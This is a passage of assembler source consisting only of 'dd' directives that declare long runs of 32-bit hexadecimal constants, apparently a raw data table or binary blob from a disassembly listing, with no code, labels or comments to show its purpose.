		dd 0A3E5B948h, 1C64CB8Eh, 0A682FA8Fh, 0E0ED16FAh, 328730B0h
		dd 0D1833DC8h, 9EDA6EBFh, 0CEE38C03h, 8DE311E8h, 5081CA4Ch
		dd 87B0FC0Dh, 0D95CBD8Eh, 0BD4A0B30h, 0A96AE476h, 21C71D5Dh
		dd 0CB38F834h, 0B03F1F5Bh, 0CE617F79h, 0D195C0CFh, 0A1F41DEFh
		dd 22C8A5A6h, 0B93EE556h, 0EEC08BC0h, 0D72C33DAh, 20D7B7E6h
		dd 7FB569B6h, 597AC069h, 0ED297799h, 68A7DB28h,	9737D026h
		dd 8521E0Ah, 851829A5h,	99935E44h, 61293AE9h, 4B6BF578h
		dd 4979CB5Dh, 8E6A032Ah, 0FAEBEA15h, 0AB1C6359h, 1D0B8DB9h
		dd 413A1BBEh, 5B43D61h,	0DF51A491h, 84154D9Eh, 0DAD0538Eh
		dd 6E3B559Ch, 0D8BDDF36h, 0A1E246Eh, 6B05AF61h,	0F62B01C8h
		dd 43387CAEh, 408F1FB9h, 40E93F02h, 99BB7655h, 0ACDBE18Eh
		dd 9C7EC4BCh, 66293A32h, 0E566DE9Ah, 5E709465h,	0DD6A374Ah
		dd 2FC3FD50h, 0F1FE3657h, 0EB95C14Ah, 4ABDAF29h, 30600D2Ah
		dd 0C97CE675h, 0C3187013h, 483ED266h, 0D5BBB1CFh, 2D8C6716h
		dd 93DF701h, 59A6B45Ah,	0DDC302F1h, 2BCCA083h, 3BE9867Dh
		dd 5825AFD3h, 975EC1F3h, 9145B853h, 0CF7D024Eh,	7A6D102Dh
		dd 0AF9D5772h, 0B01F1AEBh, 0FCAE0EDBh, 3B443262h, 91E667EAh
		dd 5E2B6866h, 0C2B6C7DAh, 34110F9Ch, 715F822Fh,	11663562h
		dd 20F10447h, 0D4EE341h, 0BF811800h, 0D551F3DCh, 0F44C0FEAh
		dd 6A363998h, 62EB9DE1h, 0D35166C4h, 0FAF45F97h, 0B0813F5Eh
		dd 0AE098DC6h, 3EC7C470h, 0BB97196Ah, 69F61D1Dh, 6FB77B65h
		dd 1C370B47h, 7D769211h, 5E3BBE08h, 63CE54FFh, 9DF49EF2h
		dd 6B70A4A3h, 60585481h, 8BF977A7h, 613E3C98h, 67138FD2h
		dd 0CC593A77h, 0CACA213Eh, 6A2863D3h, 359F12C8h, 57508A7Fh
		dd 48C4DCD6h, 4E94DE77h, 0AEE4A7E7h, 1EC2F37Eh,	898FDC2Eh
		dd 77D2650Bh, 2771FEFDh, 2AF9B2A3h, 21654DACh, 0A415B671h
		dd 1B55DCB1h, 19F8F21Eh, 0C1A3D972h, 6B24D8A8h,	0BD89AECCh
		dd 54787820h, 4E8E1C68h, 0DCB5AD41h, 52FF25B4h,	0C8135734h
		dd 0C52A3EB8h, 0C932D0CEh, 0EB335C83h, 8E482F4Eh, 95FDD812h
		dd 0DFAB6D0Bh, 3921F595h, 0A8308DA4h, 6D0F5915h, 0C792F0FDh
		dd 7CB9F53Bh, 0F720EB58h, 0F2A59F93h, 98FF1C2Ah, 0C32F1EFBh
		dd 886163B8h, 64764CCFh, 0D3B87C50h, 5BAE58F8h,	0BCAD47BCh
		dd 751468ECh, 0ABAEA8A2h, 0F07B9126h, 0D5B69782h, 0B6B6CE5Ch
		dd 0B7452C8Bh, 0CE49490Ch, 0E27CBBB4h, 98FF2662h, 28E157Fh
		dd 7D9D0432h, 0C8440086h, 0C771AF93h, 0D1F5C1DCh, 0A2686E99h
		dd 14AB6A98h, 130B5B8Eh, 0DB36F3BDh, 2E6EF025h,	787C5E78h
		dd 0E28A549Fh, 657CD9E2h, 0AECC9865h, 0FCB95E47h, 6CD82583h
		dd 0BE7ED3D3h, 0E8DDA9FDh, 493394CDh, 0AB74760Ah, 0E32D3F48h
		dd 53C0F5C1h, 0FFF11BEEh, 0DF90FFA4h, 4FFE02B2h, 748A100h
		dd 29A2300Ch, 40E8E74Ah, 0C1EF8B0Dh, 14AA4D88h,	27851F0Eh
		dd 0C9383A8Ch, 0E42ECF68h, 5D5BB29Eh, 90632C09h, 0FD96EF8Eh
		dd 1FC88463h, 9ED0B438h, 0C4D4FDD6h, 2ED66189h,	0A665DD8Dh
		dd 455EA129h, 0EC250426h, 897D4579h, 10DD5C3Ah,	8151E00Ah
		dd 7BD460CBh, 0B38BBEE8h, 3D050CF7h, 1FC05D8Eh,	0BA69219h
		dd 0DCFBACF2h, 0D25BE9B8h, 917BBD45h, 0D41B89B7h, 89079884h
		dd 0C608ECCCh, 210B2A52h, 76C9C88h, 12047189h, 356DC807h
		dd 0CF592EEEh, 5BB049E5h, 6D741570h, 11A1D59Fh,	457D692Ah
		dd 0E98BEF25h, 5E9D9C33h, 0FCB8C4A7h, 0EB7380BBh, 0F6FD1936h
		dd 0D5706A81h, 0DB44CC9Ah, 0F70B749Fh, 0A5AECC44h, 102B6DE1h
		dd 9DEAC13Eh, 27BF00FBh, 0EB94D1Ah, 0C11D575h, 13D7A3A7h
		dd 877E9D2Ah, 0CDF80E3Eh, 0D19F87FBh, 57625077h, 0A4B10877h
		dd 1F919CF8h, 19199A90h, 18F834E6h, 95BF0838h, 7CFC1919h
		dd 0C4C74C00h, 20615A63h, 3E3C89E1h, 1987DCC5h,	2025777h
		dd 0DA883A00h, 3C017C3Ah, 0AB2C5B54h, 25585EE5h, 0E93AB494h
		dd 0EAEE807Dh, 9AC54185h, 4B25F85Ch, 0FD40A06Fh, 0C9EE1A57h
		dd 9F4B4282h, 9098AF12h, 8C53BE25h, 13370BF9h, 0C3F46CAEh
		dd 10DE3095h, 65CE0B74h, 0D96DCD82h, 7F708815h,	89A70B79h
		dd 0DB1B7D17h, 1B7DA5CCh, 25E9504Dh, 6C1E86ADh,	0C12531A0h
		dd 1F59A23Dh, 0A60822B8h, 0FA18F4B8h, 0D545C564h, 832457E4h
		dd 1F53819h, 5C073E74h,	0EC4AC57Bh, 47A1C363h, 911DF422h
		dd 6E8E0084h, 0A8C8B0A0h, 1D925A77h, 0F476B337h, 4A3D071Eh
		dd 0C6481CA2h, 0A5912A4Fh, 0C010C3A5h, 0B0F30EA1h, 13999D0Fh
		dd 0DD7F98FDh, 0DD20858Fh, 5B82BAB5h, 0D8A0E93Fh, 3C537D56h
		dd 25F48D3Eh, 398450C9h, 62D4ED5Ah, 0B986FB32h,	0EB7D61D7h
		dd 19301111h, 2F58E8F6h, 2C94E56Bh, 0BD366EFDh,	1EDEA4F3h
		dd 0BB4CD79Bh, 88D015C5h, 137A8F24h, 0CC52E0E0h, 0B495DC2Dh
		dd 4FCE3027h, 20FDC261h, 0B1101FE9h, 7595CCD8h,	371A1109h
		dd 3E4CF513h, 33BFF285h, 0D375CFFDh, 9D02E680h,	32248E97h
		dd 0FE865E37h, 848DABh,	5AD5A0D9h, 23105E53h, 0E0824640h
		dd 255E173Bh, 9742BE2Fh, 0BB405680h, 90A63F43h,	385855A3h
		dd 0AFDDFBFAh, 0A42B5F12h, 5E8CD08h, 0A8660942h, 9789145Fh
		dd 2E7FFA1Eh, 5CDF4E46h, 0E136DE36h, 17B371B1h,	0FB4A8534h
		dd 56BC027Eh, 3946697Bh, 72BF865Ah, 0E5366A09h,	0A051495Dh
		dd 69C55A8h, 0FFEA85C3h, 91284CC7h, 0A7C62571h,	2F3317BCh
		dd 85027363h, 0C863D323h, 0F4D112E7h, 0AA3D1507h, 9EBB8C95h
		dd 24D75D7Fh, 362CEA12h, 0DBA8E762h, 445F1085h,	0E59421E0h
		dd 0B470ECE2h, 10F2244Ch, 74183BD2h, 6B0E96D3h,	447F15CDh
		dd 8398761Ah, 9A24C81Bh
		dd 5F4A36EDh, 58604D5Bh, 0BA460EA6h, 11A13C64h,	159B6DE7h
		dd 0A51CE1E5h, 79F11402h, 437CA289h, 7FCD3551h,	0C067EEFCh
		dd 83D4B67Eh, 0B400F1D0h, 14CD2CE0h, 3E77593Ah,	61AEB55Ch
		dd 0B3821AD0h, 59C1C25Eh, 30938352h, 33516169h,	4711B81Eh
		dd 5134EAB5h, 3232A9F5h, 3BAFD2F6h, 6D5F8EDEh, 0CB4F9F26h
		dd 2678D839h, 60381D04h, 20F1E1C9h, 831D6F15h, 9DEEE65h
		dd 6254AE81h, 0D0D7A764h, 3699942Eh, 0BC0644AAh, 0DAF50D31h
		dd 0DF69DB0h, 54DA1AC7h, 5487DE8Eh, 9749B072h, 4FE77454h
		dd 6CBA613h, 9B9E19DAh,	0B90A9F2Bh, 17056EBBh, 0DA836301h
		dd 0C60A6687h, 0E1C572C9h, 0BBBE1928h, 0CA1E331Ah, 7FBC5883h
		dd 0D3E18B50h, 78E0C840h, 8D7903h, 77E6DDF9h, 1691EB3h
		dd 88A66D45h, 0AF556503h, 94F2A7FFh, 6116A4B9h,	0A2E80EDAh
		dd 0FC319C75h, 861310D5h, 3D1349E5h, 2A4A1022h,	0D732CC9Ch
		dd 803806B9h, 674EEE49h, 0A2068C3Dh, 3D52F1D8h,	0AEF367F9h
		dd 0A97E6DB0h, 14F0303Bh, 3439897Fh, 0F4B7EE0Dh, 6FB7640h
		dd 2A6B9ACFh, 7902F64h,	1590B8Eh, 68F397C9h, 0C2C41956h
		dd 0A68C7C88h, 0C7ABB25Ah, 1B62CFEFh, 18A2A1EBh, 32CD6F3Ah
		dd 0A6440144h, 656682CCh, 0DE3FCF16h, 2CB94432h, 73A2A7A5h
		dd 0FA7A89D9h, 8993A082h, 1F497F0Ch, 4841576Fh,	14C7600Bh
		dd 9D0D7580h, 55922F78h, 0D8C9467Fh, 0DB54A496h, 7AD2B19Bh
		dd 0DF5BAD48h, 9825B60Ch, 39E429C6h, 0FD81B7A3h, 471731BEh
		dd 210C9011h, 51CD0ACFh, 489A57C7h, 0AF379BB6h,	7E66CB5Ah
		dd 57A4AE77h, 0DE4CC817h, 52A03103h, 20109361h,	146A423h
		dd 9F7774A0h, 80ABACDCh, 312EB166h, 0C9B42BD9h,	0EBCB349h
		dd 0F885A163h, 0D649564Fh, 37FA4C1Bh, 216534Eh,	742424AEh
		dd 4410299Ah, 433671F4h, 0DBC6EF56h, 85366649h,	0BCA4DB9Dh
		dd 8D773224h, 946DEF08h, 0BAB5F16h, 0BE57C91Ch,	0E58E2324h
		dd 0CD22634Eh, 0C51BD2C4h, 9BAAAA95h, 0B202EC64h, 9F007F49h
		dd 9C67A5C5h, 0ECC10662h, 1E9E3CD2h, 991C4530h,	70C16587h
		dd 9FAAFE0Ah, 0BD05415Fh, 5A9D7922h, 0A51D181Bh, 661C39D2h
		dd 0F3B6DB3Fh, 8DEACD8Eh, 91AACCDBh, 103FFD2Bh,	0FC4DCC89h
		dd 179888D2h, 505F5EE0h, 2A3B754Eh, 0C6FCECCh, 0B028C6C0h
		dd 9139E103h, 1F5006Ch,	0F7FAF0A5h, 0C46FAA9Bh,	571F5521h
		dd 0CBD0CD15h, 358641E3h, 30671192h, 813AC725h,	0FA03192h
		dd 2935627Dh, 948B2FFDh, 0DED9908Dh, 0B2D17382h, 0D556A61Fh
		dd 0EB727B5Eh, 7EAB2496h, 4BD41E70h, 0EB53D56h,	4A2ED745h
		dd 273B74E2h, 1B03F8h, 0EAD0BD45h, 0A74B592Bh, 8DF4505Dh
		dd 3F2B668Eh, 5FB6C69Eh, 0E403A2B3h, 68A34FCAh,	2CF611B1h
		dd 2E0D4176h, 34133144h, 10D13086h, 0EB763295h,	76AE2A4Ah
		dd 7AB79864h, 2FBA253Fh, 0DE2BD24Eh, 430E84C6h,	906F4D2Ah
		dd 24A8DD33h, 0BF8B33CFh, 34C3D738h, 0D4898D81h, 0E525B0BCh
		dd 0C5F97A6Ah, 0DC587D8Fh, 6D4CDDE2h, 0CCC1D37Ah, 7B27B00Eh
		dd 0CD3921A9h, 2B1FE5EFh, 9AA70C3Fh, 1CEF6047h,	3B233490h
		dd 0C186070Eh, 140DC1DCh, 0A77E5E98h, 0FC682213h, 0B52887BCh
		dd 0C16B1BD9h, 41520A26h, 213F5FA8h, 417A8D81h,	27DD73DEh
		dd 0BE17F29Fh, 539801CBh, 866B436Fh, 334AEF95h,	9CD8AB68h
		dd 0BA05388Dh, 8871F66Dh, 7132E1F2h, 1E09550Ch,	0CB0D1E19h
		dd 0EDF51E37h, 0DC555FC3h, 0F280CEFAh, 0C22C0A83h, 0E4E4D95h
		dd 4D7A1F8Eh, 0EF41EDC2h, 0FF3BDC92h, 8AFCF1DBh, 66C6B67Eh
		dd 26E57463h, 0F1A7F362h, 7C87779Dh, 6EE7228Ch,	0D063091h
		dd 0EDB5DB26h, 1BFE3829h, 8B0D764Fh, 0EFA4F1BFh, 393C3459h
		dd 0AB70DCB2h, 2B9E403Ch, 75354968h, 0BCA53CE4h, 0D588C8EAh
		dd 7737EC56h, 3C68DEFAh, 0E454B3F6h, 59943D0Bh,	0AE138EDAh
		dd 0D9D98DEEh, 0FB8CBCA6h, 0A45437A4h, 6FE579C2h, 1EC7A298h
		dd 9CC8F54Bh, 0C55E136h, 5794CB38h, 3F1C7A6Bh, 6C2C3C03h
		dd 13F308EBh, 22D7EFAh,	88CD6366h, 0BD827625h, 8E6A731Fh
		dd 8E89007Eh, 7ADCE8A3h, 551CCF42h, 9CCC9E1Eh, 0C1C854DFh
		dd 74BD3F5Fh, 7ED847E2h, 1096F697h, 8AD20A3h, 0C73CE92Dh
		dd 0C69D6F07h, 18F62F40h, 14794EDCh, 0B222C786h, 8C80628Fh
		dd 66CFA440h, 69D23CFBh, 0E4AFA189h, 0A84B8FE7h, 0A38F9E02h
		dd 0C138BA2Ch, 0DFA2EDFDh, 4D34135Fh, 0C7299113h, 45CF7E6Dh
		dd 0FA318925h, 99DA164Bh, 876D0097h, 21E0C28Eh,	6DEB1EB6h
		dd 0CF830B34h, 0EFEF15ECh, 785DF0F1h, 0F8C1D27Ch, 0BA7FD024h
		dd 5EAD1A5Ah, 7024A316h, 5036AE32h, 521A95B9h, 299A6CFDh
		dd 3EA199A2h, 0A10F76D8h, 0F3037E6Dh, 7FBF9042h, 0C8C75540h
		dd 0AF45515Dh, 0EDF761Dh, 0A306D343h, 405AD608h, 9103CFF7h
		dd 7BD0BFC7h, 0F2DB5551h, 0E889EDB7h, 0C73FE033h, 22999E16h
		dd 64B06382h, 26065929h, 9FE780F4h, 0F0954EC0h,	0B93AA0A5h
		dd 34E119B9h, 0E5CDB30Eh, 8CED2B5Dh, 47B5668Eh,	0C7DB4B8Dh
		dd 0CCBEC362h, 284003C0h, 0FBEFD120h, 9C6F7E58h, 0B8563D9h
		dd 0EFB29583h, 0E69A7CC1h, 7FBA5095h, 2EA83214h, 2A4C3ECBh
		dd 6904E6F0h, 15A1EC66h, 1DC051F6h, 7DA6241Eh, 0E36D769Dh
		dd 9D6117A2h, 0D4A008DCh, 0A424C5C4h, 9C7DCCFCh, 179B5676h
		dd 0FA42F65Dh, 7FA76BBFh, 25096FB0h, 5FD84FFBh,	0C34228E8h
		dd 1ABF1798h, 0F40CC00Bh, 7F07CB4Bh, 0F832ECCBh, 38C7D723h
		dd 6A944F73h, 58B01F55h, 9565D0A8h, 0E7CA53Fh, 0DD7C6BC3h
		dd 0B87D988h, 244D30Ch,	0A61A68D9h, 1B2DCC73h, 6A2E4BC8h
		dd 0AB21D8A9h, 0E11E12EDh, 87EA64D1h, 98320AF5h, 0E06C26D2h
		dd 0A29D58BDh, 9EB5A4B4h, 0B7EA9906h, 2F55CC57h, 334240F6h
		dd 0F3DCEF0Dh, 0FE3E2AFFh, 0B787B1A2h, 135934D8h, 0EE7114FEh
		dd 0D17B0F8Bh, 614C5CCh, 0ACEF6A4Dh, 5859841Ah,	5B711150h
		dd 280FD0E1h, 2ABAA925h, 91039AA2h, 40851CC2h, 874580ACh
		dd 6D834569h, 35A85135h, 478143DBh, 0C714B294h,	456A307h
		dd 0BA23FA63h, 86411219h, 88EF30D5h, 0D59C12F1h, 3BFCAA0Fh
		dd 511AC173h, 48E257A0h, 7D9C323Ah, 4DD5C3Ch, 1D1A26FBh
		dd 71FEAD3h, 3073F9E9h,	1BF3B433h, 72D25D65h, 3CBBAB0Eh
		dd 0F8A22EBh, 24FE65F2h, 1A7CC30Eh, 4DA83697h, 257E8C2Ch
		dd 4AFA5728h, 4C483B17h, 7FA224FEh, 709EC315h, 566065ABh
		dd 4C90B3h, 0E22664DCh,	9BA4A35Eh, 52D0AA9h, 3BFE314Ah
		dd 0CCFA816Ch, 0E71555B1h, 3021D667h, 69C1E99Fh, 0B5BF2A50h
		dd 6213172Ch, 19246EAFh, 98DDDB7Ch, 0F3DF2FB3h,	0C4F115CBh
		dd 1D7AB0A2h, 94FF2DACh, 33E76C17h, 5A31E760h, 4163558Ah
		dd 9754C641h, 53FEC65Bh, 0CD0A336Ah, 409A2CF0h,	0D7692A83h
		dd 975A7BCDh, 0ADF803FEh, 0E876C6D8h, 9AF91A83h, 328FACA7h
		dd 0E38684FAh, 0AF335C69h, 0E038E9ADh, 0D8CB3B9Fh, 1D70126Eh
		dd 2493D4F7h, 0BB7B612h, 0E0B1AFAh, 0F06C564Ch,	303BC80h
		dd 44FF8B5Ch, 0EE891CD7h, 4E48E73Dh, 0EB18280Dh, 5124B9BEh
		dd 0B56FB82Dh, 0CA4964Dh, 0E341FB50h, 88493346h, 2C2CBD28h
		dd 577CD2B6h, 9B165F83h, 2AFCE9D9h, 243DEFC9h, 79FEE2FDh
		dd 0AD9F0B4Ah, 3C8CF1B9h, 8AB0FC58h, 0DC542B4h,	4B11E7AAh
		dd 0FF01A57Fh, 2394CA47h, 0E6E6B6F1h, 963ED64Bh, 37E4184Fh
		dd 388A037Fh, 0AA6C7981h, 2FCCD04Dh, 0FDAE79F0h, 6D3E1293h
		dd 239BBBC2h, 0BFF8E0B3h
		dd 5F510CD5h, 0C8F5F561h, 0EA8832C6h, 792EC1Bh,	0D1D43DB2h
		dd 2B1BA53Ch, 7985F0F6h, 0DA47CF65h, 16928FA5h,	0CF91F456h
		dd 0EE27240Dh, 0B94DA91h, 37F5A5BFh, 0FB605206h, 0E47ED395h
		dd 0B43A5095h, 850849D3h, 3292F0B3h, 752398B4h,	4BC705F7h
		dd 12181892h, 0A3447487h, 0F14E5966h, 623FD345h, 392A9124h
		dd 109482A1h, 0C12A0EE1h, 49D46E42h, 86E57E90h,	4D626704h
		dd 448817Dh, 4C6CB48h, 0B9CB7216h, 18C263C2h, 233EB32h
		dd 21098B2Dh, 6FA4BA30h, 0F8B7FDD7h, 73B83833h,	0DE6083BBh
		dd 55F91960h, 0C95CE407h, 0CCC26794h, 0EE798CBAh, 0F5F14398h
		dd 0C8B9AFB8h, 31628589h, 846A84C4h, 6990EAA5h,	854DA3CCh
		dd 0EDD8F53Ah, 0F9A055CBh, 0AB9AB868h, 341903E6h, 0ADD48AFAh
		dd 8E0CACBDh, 25EC8D05h, 17722749h, 0A3A10FD4h,	2664354Fh
		dd 40C1B9FEh, 63A6B78Eh, 59339E71h, 0DAF59343h,	8B389169h
		dd 0C8163EB4h, 15DC8582h, 6C06E7D1h, 0BD8B1310h, 5B6BCF5Eh
		dd 9D1D2A1Ch, 0C3F3E7BEh, 0B432D072h, 0E2C19F61h, 7EE527BBh
		dd 0A73ED217h, 370AD864h, 267D543Bh, 0E9002F0Ah, 0C7BD3E77h
		dd 5079D9B1h, 0B43E401Bh, 0E771FDAh, 0FF4C2135h, 0D0B9082Fh
		dd 0C3A41FDAh, 46CD12F8h, 0CC9A6FE6h, 81495536h, 0BE803BD6h
		dd 6FA9A90h, 0A116E82Ah, 2C358E3Eh, 43BAAD11h, 9BB6C64Eh
		dd 5044E2DBh, 0A79711C3h, 6542DB5Ch, 4E45ED7Bh,	0B6B55902h
		dd 92A6C69Bh, 9BCB2519h, 943B094h, 9C9651EEh, 385A0548h
		dd 0C7AFE064h, 86DA0FD7h, 89DA4009h, 0FFECB670h, 0E3E6FAECh
		dd 4FB78DB8h, 0E5E88715h, 0A4635DC3h, 8B13D126h, 0A69F0CB0h
		dd 101E1BF4h, 273D8D47h, 0B7872FABh, 4436DAF7h,	312FA43Eh
		dd 31E3D8FBh, 0AAAC5FFEh, 0D802B602h, 0CDEF902Ah, 0F643DC74h
		dd 0DB8522BEh, 336E109Ah, 0E11B1141h, 207F8CFBh, 0FE7A29C3h
		dd 5174B75Ch, 206A26F0h, 2E381394h, 4FB18AA3h, 1EF4EC24h
		dd 2CE8F9BFh, 4D3E31DCh, 0C0DB6D63h, 2D39E66Bh,	8FB24BF1h
		dd 3EB4BDD3h, 0ECDE7709h, 0AD42DAA8h, 0E965F0ECh, 0E658437Ch
		dd 146842D5h, 0E3AB2B9Ah, 0A69A3904h, 0B5C6F229h, 0B0D333AFh
		dd 0B94E8A59h, 8A57392Bh, 0E7AB6702h, 0CD9DE340h, 0D1DD3AB7h
		dd 0E2D36B4Ch, 7C2FB634h, 8AAC96D2h, 9CCD13CAh,	722EE736h
		dd 0E314575Dh, 9F7950C4h, 20CF28B7h, 0A85FFEC5h, 0CA67AE55h
		dd 0C6F5FAC8h, 0D9D42F4h, 0CA39DC8Ah, 900D14D8h, 8B145BEDh
		dd 0A898390Fh, 356AA21Eh, 752239A8h, 5ADAB8B8h,	6A84D390h
		dd 0D6DB98ECh, 6960F0CFh, 0F2C3F34Dh, 599C3FB8h, 0D7E61925h
		dd 169A40DEh, 0E206296Dh, 0B4C52ECFh, 88F053E5h, 8B2C477Fh
		dd 0FF723A1Ah, 331A14BCh, 76DB68D7h, 9100A18Fh,	0E5683793h
		dd 2F5D695Eh, 619D2353h, 0C9D1B4CCh, 0ECF9460Fh, 1A6215D3h
		dd 0A7E67DBh, 9CE0B622h, 0D3746147h, 315220B4h,	0E74EC36h
		dd 7C24256Eh, 0A01791EFh, 16762051h, 35D5451Ah,	1FEF990Bh
		dd 9E72D38Ch, 498B1053h, 0AD881C42h, 13AAB34Dh,	0F01C6076h
		dd 2A04A8C4h, 73D7DDC6h, 0AAECA3E9h, 0D4EE02B8h, 5E8E0604h
		dd 199C77BCh, 7CCA1BBh,	0D0072E1Ch, 17C639E3h, 6B91CABCh
		dd 904674D7h, 2BF34A57h, 45FD22EBh, 0BCE5F448h,	2C7B9179h
		dd 8BEB3C47h, 6CF7B4BAh, 95C85884h, 0CF94F4C9h,	8B19A2A1h
		dd 1ED8B41h, 5F885E8Bh,	47A866E5h, 0FA275D84h, 0A14C6EE3h
		dd 0F7767567h, 2C765924h, 830509DFh, 0C6D84ACh,	26620687h
		dd 0AA2579CCh, 63FD5CDAh, 0D9A393DFh, 977E88ADh, 6FFF47B4h
		dd 64EDE4C5h, 18CA5B94h, 4016AFDFh, 0EF78B97Ch,	1EFD47F0h
		dd 0EB33678Bh, 3690A8E1h, 3C67D91Fh, 7379D9DEh,	74ACB273h
		dd 58CC78AAh, 89D76321h, 44C74E5Fh, 78DB9FC4h, 0CFE88D44h
		dd 0A1385022h, 0F2E6CCFDh, 0A4A15741h, 0F528589Ch, 58A7089h
		dd 0C2089C56h, 3B99D866h, 6CD87E85h, 1C40FF18h,	97C21D80h
		dd 0FAEC76CBh, 0E319BF11h, 3F1100FCh, 0C57BE1A3h, 0CF18BD7Bh
		dd 0B68458Bh, 33A3E28Eh, 0E785A35Ch, 0C86760Fh,	0E24A43EEh
		dd 0F29EA16Eh, 0E04A0C1h, 4E33E838h, 0D546E671h, 0DCFB8B99h
		dd 3DE3B8FAh, 2BAE0A9Ch, 8DB8D119h, 5CC86983h, 53F86345h
		dd 63937EF4h, 0C0AFAD04h, 55CB45E8h, 9CBF0B16h,	8ECD6F60h
		dd 913D879Ah, 0F2B56A6Dh, 0CD58FF31h, 0D5DB070Dh, 0D160EDC2h
		dd 0A2610DBEh, 0AA908243h, 513B7BF4h, 41674A80h, 284658E7h
		dd 0CFF888ECh, 678889FFh, 0ABF8CB6Eh, 0B7537D24h, 3D6B9A17h
		dd 0F4DE7A6h, 0D1F8ABEDh, 0CB7DD69h, 0CD1F3327h, 0AF7A37A3h
		dd 1E35E34Bh, 72EA9F1Eh, 0CCB249E8h, 6852B25Dh,	44015BC5h
		dd 2E184369h, 55F4F0EAh, 2D2FC93Ah, 2592F673h, 951340C7h
		dd 59875F38h, 5FD221B1h, 0CD913660h, 5FC486C7h,	6943C8B1h
		dd 0ED54BE7Eh, 0BB7D7CA8h, 0FC8CDF1Bh, 306E71F7h, 0C60DF5D3h
		dd 8F8056C1h, 8B30B2FCh, 0E942FBD5h, 86F943E9h,	82EC23EAh
		dd 0D453F35Fh, 501CC8D0h, 56DBB38Eh, 0DB48CD5Fh, 76615BFEh
		dd 374D3316h, 2B3C25E4h, 1F2B142Eh, 56DF0DFCh, 9EAE1CB5h
		dd 4DF5BF9Ah, 722C7457h, 91EBC8CBh, 83AD7F4Ah, 9ED542D9h
		dd 0A5C7A053h, 0BA8A2DCAh, 49865E5Eh, 30908A9h,	60C05D34h
		dd 708E57E0h, 3379F0F4h, 57F45A5Dh, 98723831h, 8DD47884h
		dd 0CE2779B1h, 17A37F0Ch, 816EB583h, 0D0B85854h, 0D9CE48C3h
		dd 95F0583Ah, 1E70F97Dh, 3E5D79C3h, 53CDFD58h, 662D428Fh
		dd 6FD333C5h, 15C7AEE2h, 6F8D1433h, 0C0DDFBFAh,	5DB5EA1Eh
		dd 0D158DF50h, 4351E4DEh, 9EC1A169h, 0EE925967h, 0E297A11h
		dd 3E4E3A75h, 715962CDh, 437B25B4h, 472B35E9h, 3EFFBC83h
		dd 0D83FF1C8h, 32732671h, 163A01DAh, 99E84543h,	8511878h
		dd 0F46E0F03h, 41ADC5E0h, 0C4941C68h, 1B72D61Bh, 0B551A977h
		dd 322521DCh, 718C2ACFh, 0C03BEEE2h, 79312955h,	4A5F397Fh
		dd 0C32DFCF7h, 0CD3F4CE2h, 0B5FDCA60h, 53A98BF5h, 252DFB51h
		dd 87A81C59h, 38CD4E8Ch, 0E39FCAA0h, 4D9E3E23h,	1A9173E6h
		dd 0C30FA4C8h, 0A1751A22h, 57AA995Dh, 4FDB4A03h, 7B6D17C4h
		dd 45D718A8h, 82744197h, 40996A03h, 38B353AFh, 6176D084h
		dd 0EC14C842h, 4985FA3Ch, 3D15C306h, 5E1FE32Bh,	251B949Dh
		dd 0A39E5279h, 765E8A2Bh, 5E5BD841h, 0CD336F88h, 4EFE6698h
		dd 29B28AEFh, 0E595B96Ah, 0DF0CD783h, 36A30F45h, 0C3C348h
		dd 6B32A215h, 60DC6932h, 0F8FB8DFh, 0BBFBF595h,	4959F185h
		dd 4853EA1h, 1660F849h,	3592370Ch, 60C3DE9Dh, 26540A0Bh
		dd 2AA7166Ah, 0F61511C9h, 340A1ECh, 58B78E97h, 17421388h
		dd 0D0466326h, 22A4F618h, 7FF19E5Dh, 0C963DC7h,	0BF7DBBBDh
		dd 3311432Fh, 1FD2147h,	4B8DC5h, 0C54B8FD7h, 82B317E3h
		dd 0C5A67E85h, 0FE6B7CA2h, 381B548Fh, 0BB3936C7h, 8E394CCFh
		dd 4B530318h, 0FCFCCDB0h, 7474FE13h, 9AD4025Ah,	0C0D0A55Bh
		dd 0B2731F2Bh, 3C0D03B8h, 0FD1B37A4h, 6E606A57h, 0ED7A99F3h
		dd 0F9559FE2h, 5587CBADh, 1E317B06h, 0AE7AB3DFh, 8A58569Eh
		dd 40CD9826h, 0C193EA81h, 4D28772Dh, 0F8EE68D3h, 9A7291F6h
		dd 23C9B032h, 0B9A4188Eh, 0BFCAFB23h, 7DFF91E0h, 0BBE9D1A2h
		dd 797F2232h, 0F9660891h, 73B015DFh, 0AA628C28h, 0F5C0164Ah
		dd 1EB2B4Dh, 0F0055E87h, 197A8E24h, 0AA86DA7Ch,	4F4A6D1Eh
		dd 7F4DC2D0h, 0F8389DE5h, 26089053h, 0A7E0FAD1h, 0CB19E192h
		dd 962572D8h, 0A03A0E0Fh
		dd 12F35BBAh, 0F381834Eh, 2FDF9076h, 7FD9B83Ah,	79380650h
		dd 0EEB2E7A5h, 8EC19E7h, 1C16406Eh, 0ECB7FD1h, 0EA4843A2h
		dd 4490A434h, 73137FACh, 99FDFE8Ch, 0EE3E9B02h,	0EB720878h
		dd 283432F7h, 6B4F53A6h, 8FA251CBh, 412F7A66h, 2BB3BDF2h
		dd 0CF48C9E6h, 0C4032D4Eh, 4EBF2C25h, 93E39BD8h, 14A2B2E3h
		dd 3043178Dh, 2214E1DFh, 0EFBF935Eh, 36F8595Fh,	8D057A1Ah
		dd 84F02726h, 2545A381h, 0AD6AA432h, 0A9B7FA40h, 615F448Bh
		dd 7FABC3FDh, 0B8FEC09Bh, 0E36CF1FEh, 93086B26h, 0B4D1FF2Ah
		dd 0D276015Bh, 0D6D47CB6h, 1C76D27Ch, 72DAD1D0h, 3F157F5Fh
		dd 0C4FF1083h, 96D18B8h, 0CEA79B48h, 0A7EE6CECh, 0AA99018Dh
		dd 8765F748h, 5D6FF5F1h, 42407A5Bh, 0E57E8D50h,	0B3DA0799h
		dd 0CCEA0847h, 7B67B622h, 380475F5h, 49013842h,	5B1C2FA8h
		dd 0F4CA1F09h, 2812A7Fh, 33B2B57Bh, 6497E2A6h, 1D458F8Fh
		dd 0C9A02066h, 0BAC4137Eh, 0F862E9A0h, 0C020CBCBh, 86241768h
		dd 2728FB5h, 0C1E0FD88h, 208DFD6Bh, 0F7C56A52h,	0F27165B7h
		dd 5919AD5Bh, 3C610B64h, 6DE24315h, 752D1ADDh, 0CD31B5BBh
		dd 4E667F11h, 0BE79908h, 0A627F7B9h, 9B3DF61Bh,	2E6E63C0h
		dd 1CC4B852h, 5F1CD1F5h, 5850405Ah, 69330118h, 5F18600Eh
		dd 56F220C7h, 0BFE3AEC1h, 0EF5AD242h, 0D5FB2C59h, 7557D47Dh
